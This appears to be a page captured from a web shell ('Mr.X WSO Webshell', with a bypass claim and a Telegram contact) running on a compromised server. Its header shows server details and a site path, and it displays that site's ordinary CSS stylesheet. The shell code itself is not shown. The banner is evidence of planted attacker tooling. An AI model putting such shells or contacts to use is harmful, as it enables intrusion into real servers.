| Attention: Uname: Php: Hdd: Cwd: | Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet 5.3.29 Safe mode: OFF Datetime: 2026-04-10 04:06:09 1999.30 GB Free: 63.08 GB (3%) /home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text | Server IP: 127.0.0.54 Client IP: 216.73.216.53 |
| [ Files ] | [ Logout ] |
|---|
@import url("https://fonts.googleapis.com/css2?family=Exo+2:wght@100;300;400;600;700&display=swap");
body.categories-open {
overflow: hidden;
}
.header {
transition: all .5s;
padding: 23px 0
}
.header,
.header.header-scrolled {
position: sticky;
top: 0;
left: 0;
right: 0;
z-index: 100;
background: #121212
}
.header.header-scrolled .navbar {
background: transparent
}
.header .top-nav {
display: flex;
justify-content: space-between;
align-items: center
}
@media (max-width:992px) {
.header .top-nav {
flex-direction: column;
margin: .5rem 0
}
}
.header .logo {
font-size: 2em;
margin: 0;
padding: 0 1rem 0 0;
line-height: 1;
font-weight: 600;
letter-spacing: 1px
}
.header .logo a {
color: #fff
}
.header .logo img {
width: 103px;
height: 41px;
-o-object-fit: cover;
object-fit: cover;
-o-object-position: 50% 50%;
object-position: 50% 50%
}
@media (max-width:992px) {
.header {
border: 0
}
}
.navbar {
padding: 0
}
.navbar ul {
margin: 0;
padding: 0;
list-style: none
}
.navbar li,
.navbar ul {
display: flex;
align-items: center
}
.navbar li {
position: relative;
justify-content: flex-end
}
.navbar a {
display: flex;
align-items: center;
justify-content: space-between;
line-height: 30px;
text-transform: uppercase;
font-size: 18px;
color: #fff;
white-space: nowrap;
transition: .3s;
padding: 0 2rem;
height: 90px;
font-weight: 400
}
.navbar a:hover {
background-color: #58b4c4
}
.navbar a:focus {
color: #fff
}
.navbar .active {
background: #58b4c4
}
.navbar li:hover>a {
color: #fff
}
.mobile-nav-toggle {
color: #fff;
font-size: 28px;
cursor: pointer;
display: none;
line-height: 0;
transition: .5s;
position: absolute;
right: 1rem
}
.mobile-nav-toggle.bi-x {
color: #fff
}
@media (max-width:1500px) {
.header svg {
width: 90%
}
.header .navbar ul li a {
padding: 0 .5rem
}
}
@media (max-width:991px) {
.mobile-nav-toggle {
display: block
}
.navbar {
background: transparent
}
.navbar ul {
display: none
}
}
.navbar-mobile {
position: fixed;
overflow: hidden;
top: 4rem;
right: 0;
left: 0;
bottom: 0;
background: rgba(23, 26, 29, .6);
transition: .3s;
z-index: 999
}
.navbar-mobile .mobile-nav-toggle {
position: absolute;
top: 15px;
right: 15px
}
.navbar-mobile ul {
display: block;
position: absolute;
top: 55px;
right: 15px;
bottom: 15px;
left: 15px;
padding: 10px 0;
border-radius: 10px;
background: rgba(23, 26, 29, .7);
overflow-y: auto;
transition: .3s
}
.navbar-mobile li,
.navbar-mobile li a {
justify-content: center
}
.navbar-mobile li a {
padding: 1.5rem 0;
font-size: 18px;
color: #fff !important;
align-items: center;
width: 100%;
height: auto
}
.navbar-mobile li a:hover {
color: #fff
}
.aside {
width: 248px;
overflow-y: auto;
display: flex;
flex-wrap: nowrap;
align-items: stretch
}
@media (max-width:800px) {
.aside {
width: 100%;
height: 48px;
}
}
.list-container {
background: #161616;
padding: 0 1rem;
width: 100%;
}
@media (max-width:800px) {
.list-container {
position: fixed;
top: 139px;
bottom: 0;
left: -320px;
width: 320px;
z-index: 10;
}
.list-container::before {
content: "";
position: absolute;
top: 0;
bottom: 0;
left: 100%;
width: 0;
background-color: rgba(0,0,0,.8);
}
.list-container.list-container-mobile {
left: 0;
}
.list-container.list-container-mobile::before {
width: 200%;
}
.list-container .inner-box {
display: block;
overflow-y: auto;
max-height: calc(100% - 4rem);
}
}
.list-container .list-header {
font-size: 18px;
text-transform: uppercase;
font-weight: 600
}
.list-container .category-list {
list-style: none;
padding-left: .3rem
}
.list-container .category-list li {
margin: 1rem auto
}
.list-container .category-list li a {
font-size: 16px;
color: #7c7c7c;
text-transform: capitalize;
font-weight: 300
}
.list-container .category-list li a.active,
.list-container .category-list li a.active:before {
color: #fff
}
.list-container .category-list li a.active .bi-x {
border: 2px solid #fff
}
.list-container .category-list li a:focus {
color: #fff
}
.list-container .category-list li a:focus .bi-x {
border: 2px solid #fff
}
.list-container .category-list li a:focus:before {
color: #fff
}
.list-container .category-list li a:before {
content: "\2022";
color: #7c7c7c;
width: 1em
}
.list-container .category-list li a .bi-x {
border: 2px solid #7c7c7c;
border-radius: 50%;
float: right;
width: 22px;
height: 22px;
font-size: 16px;
display: flex;
justify-content: center;
align-items: center
}
.list-container .list-container-mobile {
display: block
}
.list-container-mobile {
background: #161616;
display: block
}
.show-categories {
line-height: 32px;
position: relative;
left: calc(100% + 3rem - 15px);
padding: 0 15px;
width: 190px;
background-color: rgba(0,0,0,.9);
}
@media(min-width: 801px) {
.show-categories {
display: none;
}
}
.show-categories.bi-x {
margin: 1rem auto;
text-align: center;
border-radius: 50%;
height: 2rem;
width: 2rem;
border: 2px solid #fff;
display: flex;
font-size: 1.3rem;
justify-content: center;
align-items: center;
left: 0;
background-color: transparent;
}
.show-categories.bi-x i,
.show-categories.bi-x span {
display: none
}
.footer {
background: #161616
}
.footer .footer-top {
background: #000;
color: #fff;
font-size: 16px;
padding: 1.5rem 0
}
@media (max-width:769px) {
.footer .footer-top {
text-align: center
}
}
.footer .footer-top p {
line-height: 1.4;
font-weight: 300;
color: #fff
}
.footer .footer-top p span {
font-weight: 400;
text-decoration: underline
}
.footer .footer-bottom {
padding: 1.5rem 0;
display: flex;
align-items: center
}
.footer .footer-bottom .footer-logo {
display: flex
}
@media (max-width:992px) {
.footer .footer-bottom .footer-logo {
justify-content: center
}
}
.footer .footer-bottom .footer-list {
display: inline-flex;
list-style: none;
text-align: center
}
@media (max-width:560px) {
.footer .footer-bottom .footer-list {
flex-wrap: wrap
}
}
.footer .footer-bottom .footer-list li {
padding-top: .85rem
}
.footer .footer-bottom .footer-list li a {
color: #fff;
text-decoration: none;
font-weight: 600
}
.footer .footer-bottom .footer-list li a.custom-dot:before {
content: "\2022";
color: #fe262a !important;
width: 1em;
padding: 0 1rem
}
.form-control:focus {
box-shadow: none
}
.form-control {
display: block;
width: 100%;
padding: 0 .75rem;
font-size: 12px;
font-weight: 400;
line-height: 1.5;
color: #fff;
background-color: #fff;
background-clip: padding-box;
border: 1px solid #c8c8c8;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
border-radius: .25rem;
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out;
top: -2px
}
textarea.form-control {
min-height: 120px;
padding: .75rem;
}
.form-control::-moz-placeholder {
font-size: 12px;
color: #c8c8c8
}
.form-control:-ms-input-placeholder {
font-size: 12px;
color: #c8c8c8
}
.form-control::placeholder {
font-size: 12px;
color: #c8c8c8
}
.input-group {
border: 1px solid #c8c8c8;
border-radius: 1rem;
display: flex;
align-items: center;
height: 36px
}
.input-group .btn {
color: #fff;
top: -2px
}
.input-group>.form-control,
.input-group>.form-select {
position: relative;
flex: 1 1 auto;
width: 1%;
min-width: 0;
color: #c8c8c8;
background: #121212;
border: none;
margin-left: .4rem
}
.gallery .thumbnail-card .image {
z-index: 1;
position: relative
}
.gallery .thumbnail-card .image .thumb-overflow {
width: 100%;
position: relative;
display: block;
overflow: hidden;
height: 0;
padding-top: 72.25%
}
.gallery .thumbnail-card .image .thumb-overflow img {
width: 100%;
top: 0;
left: 0;
height: 100%;
-o-object-fit: cover;
object-fit: cover;
-o-object-position: center;
object-position: center;
position: absolute
}
.gallery .thumbnail-card .image .thumb-overflow .img-thumbnail {
border: 0;
padding: 0;
border-radius: 0;
background: transparent
}
.top-icon {
position: absolute;
top: .6rem;
right: 12px;
z-index: 9;
border-radius: 15px;
background: rgba(0, 255, 203, .6);
width: 56px;
height: 18px;
color: #fff;
font-size: 10px;
font-weight: 400;
text-transform: uppercase;
display: flex;
justify-content: center;
align-items: center
}
.top-icon .online-dot {
background: #fe262a;
border-radius: 100%;
height: 8px;
width: 8px;
display: inline-flex;
border: 2px solid #fe262a;
padding-top: .25rem;
margin: 0 .3rem
}
.models {
position: absolute;
bottom: .5rem;
left: 0;
z-index: 9
}
.models .models-name {
font-size: 18px;
color: #fff;
text-transform: capitalize;
font-weight: 400
}
.models .models-nick {
font-size: 14px;
color: #b0deff;
font-weight: 400
}
.img-col.-cam .video-link {
border: 2px solid transparent
}
.img-col.-cam .video-link:focus,
.img-col.-cam .video-link:hover {
border: 2px solid #58b4c4
}
.img-col:not(.-cam) .video-link:focus .models .models-name,
.img-col:not(.-cam) .video-link:hover .models .models-name {
color: #58b4c4
}
.content {
margin-left: 1.5rem;
height: auto;
flex: 1
}
@media (max-width:560px) {
/*
.content {
margin-left: 0
}
*/
}
.nav-pills .nav-link.active,
.nav-pills .show>.nav-link {
color: #fff;
background: #58b4c4;
border: 0;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.nav-pills .nav-link {
background: #7c7c7c;
color: #000;
border: 0;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
height: 36px;
margin-right: .4rem;
font-weight: 400;
font-size: 18px;
text-transform: uppercase
}
@media (max-width:560px) {
.nav-pills .nav-link {
font-size: 16px;
margin-right: .1rem
}
}
.nav-pills .nav-link:hover {
color: #fff
}
.nav-item {
display: flex;
justify-content: center;
align-items: center
}
.tab-content {
border-bottom-right-radius: .75rem;
border-bottom-left-radius: .75rem;
border: 2px solid #1c1c1c;
background: #161616
}
.nav-pills .nav-link {
border-top-right-radius: .75rem;
border-top-left-radius: .75rem
}
.card {
border-radius: .75rem;
border: 2px solid #1c1c1c
}
.card .card-title {
background: #1c1c1c;
border-bottom: 2px solid #121212
}
.card .card-body {
padding: 2rem;
height: calc(100% - 3.5rem);
border: .0625rem solid #121212;
background-color: #161616
}
.card .card-body .form-input label {
margin-left: .5rem;
font-size: 18px;
font-weight: 400
}
.card .card-body .form-input input,
.card .card-body .form-input textarea {
height: 36px;
border: 1px solid #c8c8c8;
border-radius: .75rem;
display: flex;
align-items: center
}
.card .card-body .fr__link {
color: #fe262a !important;
text-decoration: none
}
.card .card-body .fr__link:hover {
text-decoration: underline
}
.form-input>.form-control,
.form-input>.form-select {
position: relative;
flex: 1 1 auto;
width: 100%;
min-width: 0;
color: #c8c8c8;
background: #121212;
border: none
}
.captcha {
display: flex;
align-items: center
}
.captcha .captcha__img {
width: 6.25rem;
height: 2.5rem;
margin-right: .375rem
}
.captcha .captcha__input {
flex-grow: 1
}
.forms {
min-height: 75vh
}
body {
color: #fff;
background: #000;
font-family: Exo\ 2, sans-serif !important
}
a,
a:hover {
color: #fff;
text-decoration: none
}
.img-col {
width: 20%;
}
.img-col.-cam {
opacity: 0;
transition: opacity .3s ease 0s;
}
@media (max-width:1600px) {
.img-col {
width: 25%;
}
}
@media (max-width:1280px) {
.img-col {
width: 33%
}
}
@media (max-width:1100px) {
.img-col {
width: 33%
}
}
@media (max-width:992px) {
.img-col {
width: 50%
}
}
@media (max-width:602px) {
.img-col {
width: 100%
}
}
.col-tab-left {
width: 16%
}
@media (max-width:1920px) {
.col-tab-left {
width: 22%
}
}
@media (max-width:1620px) {
.col-tab-left {
width: 27%
}
}
@media (max-width:1366px) {
.col-tab-left {
width: 30%
}
}
@media (max-width:1100px) {
.col-tab-left {
width: 52%
}
}
@media (max-width:640px) {
.col-tab-left {
width: 100%
}
}
.col-tab-right {
width: 78%
}
@media (max-width:1620px) {
.col-tab-right {
width: 72%
}
}
@media (max-width:1366px) {
.col-tab-right {
width: 68%
}
}
@media (max-width:1100px) {
.col-tab-right {
width: 100%
}
}
@media (max-width:640px) {
.col-tab-right {
width: 100%
}
}
.light-dark-bk {
background: #161616
}
.rows-select {
max-width: 100%
}
.form-select {
padding: .3125rem 3rem .3125rem 1rem;
background-image: url(../images/angle-down.svg) !important;
background-repeat: no-repeat, repeat !important;
background-position: right 1rem center !important;
border-radius: .25rem;
-moz-appearance: none;
-webkit-appearance: none;
appearance: none;
border: 1px solid #d8e2ef;
color: #fff !important;
background-size: 1rem !important;
background-color: #fff;
box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
outline: none
}
.custom-25 {
width: 25%
}
@media (max-width:1100px) {
.custom-25 {
width: 100%;
text-align: center
}
}
.custom-50 {
width: 50%
}
@media (max-width:1100px) {
.custom-50 {
width: 100%;
text-align: center
}
}
.custom-75 {
width: 75%
}
@media (max-width:1366px) {
.custom-75 {
width: 100%;
text-align: center
}
}
.custom-80 {
width: 80%
}
@media (max-width:769px) {
.custom-80 {
width: 100%
}
}
.custom-90 {
width: 90%
}
@media (max-width:769px) {
.custom-90 {
width: 100%
}
}
.custom-95 {
width: 95%
}
@media (max-width:1100px) {
.custom-95 {
text-align: center
}
}
.custom-100 {
width: 100%
}
@media (max-width:1100px) {
.custom-100 {
text-align: center
}
}
.background-none {
background: none
}
.header-row .text-header {
font-size: 22px;
color: #fff;
font-weight: 600;
white-space: nowrap
}
@media (max-width:1190px) {
.header-row .text-header {
margin: 0;
white-space: normal
}
}
.header-row .text-subhader {
color: #58b4c4;
font-size: 16px;
font-weight: 400;
white-space: nowrap
}
@media (max-width:1190px) {
.header-row .text-subhader {
margin: 0;
white-space: normal
}
}
.tab-text-header,
.tab-text-subheader {
font-size: 16px;
font-weight: 300;
text-transform: uppercase
}
.tab-text-subheader {
color: #58b4c4;
margin-left: .5rem
}
.description {
font-size: 16px;
text-align: left;
font-weight: 300;
line-height: 1.2
}
@media only screen and (max-width:992px) {
.first {
order: 2
}
.second {
order: 1
}
}
.login,
.main-btn,
.sign-up {
border-radius: .75rem;
border: 2px solid #58b4c4;
margin: 0 1rem;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
padding: .5rem 1.5rem;
font-size: 18px;
text-transform: uppercase;
height: 36px;
cursor: pointer;
font-weight: 400;
white-space: nowrap
}
@media (max-width:1369px) {
.login,
.main-btn,
.sign-up {
padding: .5rem;
margin: 0 .2rem
}
}
.login:hover,
.main-btn:hover,
.sign-up:hover {
color: #fff
}
.join {
background: #58b4c4;
border: 2px solid transparent
}
.join-btn {
border-radius: .75rem;
border: 2px solid #ff8b45;
background: #ff8b45;
font-size: 18px;
height: 44px;
width: 100%;
font-weight: 700
}
.join-btn,
.join-chatroom {
display: flex;
align-items: center;
justify-content: center;
color: #fff;
padding: .5rem 1.5rem;
text-transform: uppercase;
cursor: pointer;
white-space: nowrap
}
.join-chatroom {
border-radius: .75rem;
border: 2px solid #58b4c4;
background: #58b4c4;
margin: 5rem auto;
font-size: 22px;
height: 119px;
width: 482px;
font-weight: 600
}
.stage {
display: block
}
.stage .inner-stage {
display: block;
position: relative;
overflow: hidden;
height: 0;
padding-top: 56.25%
}
.stage .inner-stage>#thisPlayer,
.stage .inner-stage>iframe,
.stage .inner-stage>img,
.stage .inner-stage>object,
.stage .inner-stage>video {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
width: 100% !important;
height: 100% !important
}
.video-container {
border-radius: .75rem;
border: 2px solid #1c1c1c
}
section {
padding: 20px 0
}
.top-bar-img {
width: 100%;
height: 15px;
background-image: url(../images/top-bar.jpg)
}
.bottom-bar-img {
width: 100%;
height: 30px;
background-image: url(../images/bottom-bar.jpg)
}
.notification-col {
flex: 1 0 100%;
}
.alert,
.messages,
.notification {
padding: .9375rem;
margin-bottom: 1.375rem;
border: .0625rem solid transparent;
border-radius: .25rem
}
.notification.info {
background-color: #d9edf7;
border-color: #bce8f1;
color: #31708f;
}
.notification.alert {
background-color: #fcf8e3;
border-color: #faebcc;
color: #8a6d3b;
}
.notification.error {
background-color: #f2dede;
border-color: #ebccd1;
color: #a94442;
}
.notification.success {
background-color: #dff0d8;
border-color: #d6e9c6;
color: #3c763d;
}
.alert-info p,
.notification p {
margin: 0;
}
.alert-info a,
.notification a {
color: #ffffff !important;
text-decoration: none
}
.alert-info a:hover,
.notification a:hover {
text-decoration: underline
}
.login:hover {
background-color: #58b4c4;
border-color: #ffffff;
}
.sign-up:hover {
border-color: #ffffff;
}
#loadMore:hover {
background-color: #58b4c4;
border-color: #ffffff;
}
/*# sourceMappingURL=style.css.map */
#dataContent {
height: 150px;
transition: height .3s ease 0s;
}
.img-col.-cam .thumbnail-card {
position: relative;
}
.add-to-fav {
position: absolute;
top: 5px;
left: 10px;
display: flex;
align-items: center;
justify-content: center;
font-size: 24px;
color: red;
z-index: 2;
opacity: 1;
width: 30px;
height: 30px;
}
@media(min-width: 1040px) {
.add-to-fav {
opacity: 0;
}
.img-col.-cam .thumbnail-card:hover .add-to-fav {
opacity: 1;
}
}
[id^="object_container"] {
float: left;
width: 100%;
height: 0;
display: block;
padding-top: 56.25%;
overflow: hidden;
margin-top: 20px;
margin-bottom: 20px;
}
[id^="object_container"] iframe {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
width: 100% !important;
height: 100% !important;
}
.modal-content {
color: #000000;
}
.rating{
display: flex;
align-items: center;
}
.thumb-up,
.thumb-down{
cursor: pointer;
display: inline-flex;
margin-left: 5px;
}
.thumb-up.disabled,
.thumb-down.disabled{
cursor: inherit;
}
.thumb-up.active rect,
.thumb-up.active path,
.thumb-down.active rect,
.thumb-down.active path{
stroke: #58b4c4 !important;
}
#staticPage {
width: 90% !important;
max-width: 1000px;
}
.captcha-wrapper {
display: flex;
flex-wrap: wrap;
align-items: center;
}
.captcha-wrapper img {
flex: 0 0 auto;
padding-right: calc(var(--bs-gutter-x) * .5);
}
.captcha-wrapper input {
position: relative;
flex: 1;
min-width: 0;
color: #c8c8c8;
background: #121212;
}
.captcha-wrapper input:focus,
.captcha-wrapper input:active {
color: #c8c8c8;
background: #121212;
}